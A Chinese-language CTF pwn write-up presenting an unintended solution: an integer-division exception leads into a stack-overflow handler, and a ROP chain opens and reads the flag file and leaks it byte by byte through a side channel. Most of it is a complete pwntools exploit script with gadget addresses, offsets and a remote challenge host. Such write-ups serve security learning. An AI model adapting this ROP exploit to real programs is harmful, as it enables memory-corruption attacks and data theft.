这是个非预期解法,预期解法最终getshell了,而我通过侧信道来逐字节爆破flag;
题目预留了一个有栈溢出漏洞的handler函数,通过MIN_INT/-1触发异常进入handler。通过栈溢出部署ROP链:
- 读入flag文件名“flag”
- 打开flag文件
- 把flag读入secret中
- 读入即将被爆破的字节目标“X\x00”
- 跳转到check函数通过判断flag指定字节与当前输入的字节是否相同,相同则程序继续执行
最后整合一下exp:
from pwn import *
import time
elf = ELF("./test")
#context.log_level = "debug"
context.arch = "i386"
elf_open = elf.plt[b"open"]
elf_read = elf.plt[b"read"]
bss_secret = 0x804C034
flag_name = 0x804A0D3
bss_name = 0x804C060
table = b"abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890{}-_@$&*!?."
final_flag = b""
def exp(guess, c_idx):
global final_flag
global p
#p = process("./test")
p = remote("39.105.138.97", 1234)
# tell me some thing
p.send(b"a"*0x30)
# Tell me your name:\n
p.send((b"\x00"*8 + b"f" + b"\x00").ljust(0x20, b"b"))
# now give you the flag\n
# xxxx
# give me the soul:
p.sendline(b"-2147483648")
# give me the egg:
p.sendline(b"-1")
# handler stkof
#gdb.attach(p,"b *0x8049385\nc\n")
offset = 0x48 # to ebp
pop_edi_ebp_ret = 0x08049582
pop_esi_edi_ebp_ret = 0x08049581
pop_ebx_esi_edi_ebp_ret = 0x08049580
payload1 = b"a"*offset + p32(0xdeadbeef)
payload1 += p32(elf_read) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(bss_name+0x20) + p32(5) # read(0, input_byte, 0x2)
payload1 += p32(elf_open) + p32(pop_edi_ebp_ret) + p32(bss_name+0x20) + p32(0) # open(flag_name, 0)
payload1 += p32(elf_read) + p32(pop_esi_edi_ebp_ret) + p32(4) + p32(bss_secret) + p32(0xff) # read(fd, secret, 0xff)
payload1 += p32(elf_read) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(bss_name) + p32(2) # read(0, input_byte, 0x2)
payload1 += p32(0x80494d6) + p32(bss_secret+c_idx) + p32(bss_name) # control check_flag()
p.send(payload1.ljust(0x100, b"\x00"))
#time.sleep(0.5)
p.send(b"flag\x00")
p.send(guess + b"\x00")
try:
p.recv(timeout=1)
final_flag += guess
print("Curr flag:", final_flag)
#pause()
p.close()
return True
except:
#print("Incorrect:", guess)
print("Curr flag:", final_flag)
p.close()
return False
if __name__ == "__main__":
for i in range(20, 40):
print("Round: ", i)
for c in table:
if exp(bytes([c]), i):
break
print("Curr flag:", final_flag)